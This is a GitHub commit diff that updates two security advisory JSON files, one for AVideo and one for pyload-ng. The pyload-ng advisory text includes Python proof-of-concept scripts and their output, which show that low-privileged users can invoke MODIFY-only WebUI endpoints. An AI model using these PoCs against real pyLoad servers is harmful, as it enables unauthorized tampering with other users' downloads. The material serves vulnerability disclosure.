Skip to content

Commit 364dba9

Browse files
1 parent 113e0fd commit 364dba9

File tree

2 files changed

+19
-6
lines changed

2 files changed

+19
-6
lines changed

advisories/github-reviewed/2026/03/GHSA-v467-g7g7-hhfh/GHSA-v467-g7g7-hhfh.json

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-v467-g7g7-hhfh",
4-
"modified": "2026-03-25T18:24:47Z",
4+
"modified": "2026-04-13T17:40:20Z",
55
"published": "2026-03-19T12:43:23Z",
66
"aliases": [
77
"CVE-2026-33237"
@@ -28,11 +28,14 @@
2828
"introduced": "0"
2929
},
3030
{
31-
"last_affected": "14.0"
31+
"fixed": "26.0"
3232
}
3333
]
3434
}
35-
]
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 25.0"
38+
}
3639
}
3740
],
3841
"references": [
@@ -44,6 +47,10 @@
4447
"type": "ADVISORY",
4548
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33237"
4649
},
50+
{
51+
"type": "WEB",
52+
"url": "https://github.com/WWBN/AVideo/issues/10403"
53+
},
4754
{
4855
"type": "WEB",
4956
"url": "https://github.com/WWBN/AVideo/commit/df926e500580c2a1e3c70351f0c30f4e15c0fd83"

advisories/github-reviewed/2026/04/GHSA-rfgh-63mg-8pwm/GHSA-rfgh-63mg-8pwm.json

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,11 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-rfgh-63mg-8pwm",
4-
"modified": "2026-04-08T00:18:20Z",
4+
"modified": "2026-04-13T17:39:20Z",
55
"published": "2026-04-08T00:18:20Z",
6-
"aliases": [],
6+
"aliases": [
7+
"CVE-2026-40071"
8+
],
79
"summary": "pyload-ng has a WebUI JSON permission mismatch that lets ADD/DELETE users invoke MODIFY-only actions",
810
"details": "### Summary\nSeveral WebUI JSON endpoints enforce weaker permissions than the core API methods they invoke. This allows authenticated low-privileged users to execute `MODIFY` operations that should be denied by pyLoad's own permission model.\n\nConfirmed mismatches:\n- `ADD` user can reorder packages/files (`order_package`, `order_file`) via `/json/package_order` and `/json/link_order`\n- `DELETE` user can abort downloads (`stop_downloads`) via `/json/abort_link`\n\n### Details\npyLoad defines granular permissions in core API:\n- `order_package` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1125`)\n- `order_file` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1137`)\n- `stop_downloads` requires `Perms.MODIFY` (`src/pyload/core/api/__init__.py:1046`)\n\nBut WebUI JSON routes use weaker checks:\n- `/json/package_order` uses `@login_required(\"ADD\")` then calls `api.order_package(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:109-117`)\n- `/json/link_order` uses `@login_required(\"ADD\")` then calls `api.order_file(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:137-145`)\n- `/json/abort_link` uses `@login_required(\"DELETE\")` then calls `api.stop_downloads(...)` (`src/pyload/webui/app/blueprints/json_blueprint.py:123-131`)\n\nWhy this is likely unintended (not just convenience):\n- The same JSON blueprint correctly protects other edit actions with `MODIFY`:\n - `/json/move_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:188-196`)\n - `/json/edit_package` -> `@login_required(\"MODIFY\")` (`json_blueprint.py:202-217`)\n- The project UI exposes granular per-user permission assignment (`settings.html:184-190`), implying these boundaries are intended security controls.\n\n### PoC\nEnvironment:\n- Repository version: `0.5.0b3` (`VERSION` file)\n- Commit tested: `ddc53b3d7`\n\nPoC A (ADD-only user invokes MODIFY-only reorder):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == 'attacker'\n\n def order_package(self, pack_id, pos):\n self.calls.append(('order_package', int(pack_id), int(pos)))\n\n def order_file(self, file_id, pos):\n self.calls.append(('order_file', int(file_id), int(pos)))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.ADD}\nprint('API auth (ADD-only) order_package:', api.is_authorized('order_package', ctx))\nprint('API auth (ADD-only) order_file:', api.is_authorized('order_file', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s['authenticated'] = True\n s['name'] = 'attacker'\n s['role'] = int(Role.USER)\n s['perms'] = int(Perms.ADD)\n\n r1 = c.post('/json/package_order', json={'pack_id': 5, 'pos': 0})\n r2 = c.post('/json/link_order', json={'file_id': 77, 'pos': 1})\n\nprint('HTTP /json/package_order:', r1.status_code, r1.get_data(as_text=True).strip())\nprint('HTTP /json/link_order:', r2.status_code, r2.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (ADD-only) order_package: False\nAPI auth (ADD-only) order_file: False\nHTTP /json/package_order: 200 {\"response\":\"success\"}\nHTTP /json/link_order: 200 {\"response\":\"success\"}\ncalls: [('order_package', 5, 0), ('order_file', 77, 1)]\n```\n\nPoC B (DELETE-only user invokes MODIFY-only stop_downloads):\n```python\nimport os\nimport sys\nfrom types import SimpleNamespace\n\nsys.path.insert(0, os.path.abspath('src'))\n\nfrom flask import Flask\nfrom pyload.core.api import Api, Perms, Role\nfrom pyload.webui.app.blueprints import json_blueprint\n\nclass FakeApi:\n def __init__(self):\n self.calls = []\n\n def user_exists(self, username):\n return username == 'u'\n\n def stop_downloads(self, ids):\n self.calls.append(('stop_downloads', ids))\n\napi = Api(SimpleNamespace(_=lambda x: x))\nctx = {'role': Role.USER, 'permission': Perms.DELETE}\nprint('API auth (DELETE-only) stop_downloads:', api.is_authorized('stop_downloads', ctx))\n\napp = Flask(__name__)\napp.secret_key = 'k'\napp.config['TESTING'] = True\napp.config['WTF_CSRF_ENABLED'] = False\nf = FakeApi()\napp.config['PYLOAD_API'] = f\napp.register_blueprint(json_blueprint.bp)\n\nwith app.test_client() as c:\n with c.session_transaction() as s:\n s['authenticated'] = True\n s['name'] = 'u'\n s['role'] = int(Role.USER)\n s['perms'] = int(Perms.DELETE)\n\n r = c.post('/json/abort_link', json={'link_id': 999})\n\nprint('HTTP /json/abort_link:', r.status_code, r.get_data(as_text=True).strip())\nprint('calls:', f.calls)\n```\n\nObserved output:\n```text\nAPI auth (DELETE-only) stop_downloads: False\nHTTP /json/abort_link: 200 {\"response\":\"success\"}\ncalls: [('stop_downloads', [999])]\n```\n\n### Impact\nType:\n- Improper authorization / permission-bypass between WebUI and core API permission model.\n\nScope:\n- Horizontal privilege escalation among authenticated non-admin users.\n- Not admin takeover, but unauthorized execution of operations explicitly categorized as `MODIFY`.\n\nSecurity impact:\n- Integrity impact: unauthorized queue/file reordering by users lacking `MODIFY`.\n- Availability impact: unauthorized abort of active downloads by users lacking `MODIFY`.",
911
"severity": [
@@ -38,6 +40,10 @@
3840
"type": "WEB",
3941
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-rfgh-63mg-8pwm"
4042
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40071"
46+
},
4147
{
4248
"type": "PACKAGE",
4349
"url": "https://github.com/pyload/pyload"
@@ -51,6 +57,6 @@
5157
"severity": "MODERATE",
5258
"github_reviewed": true,
5359
"github_reviewed_at": "2026-04-08T00:18:20Z",
54-
"nvd_published_at": null
60+
"nvd_published_at": "2026-04-09T18:17:03Z"
5561
}
5662
}

0 commit comments

Comments
 (0)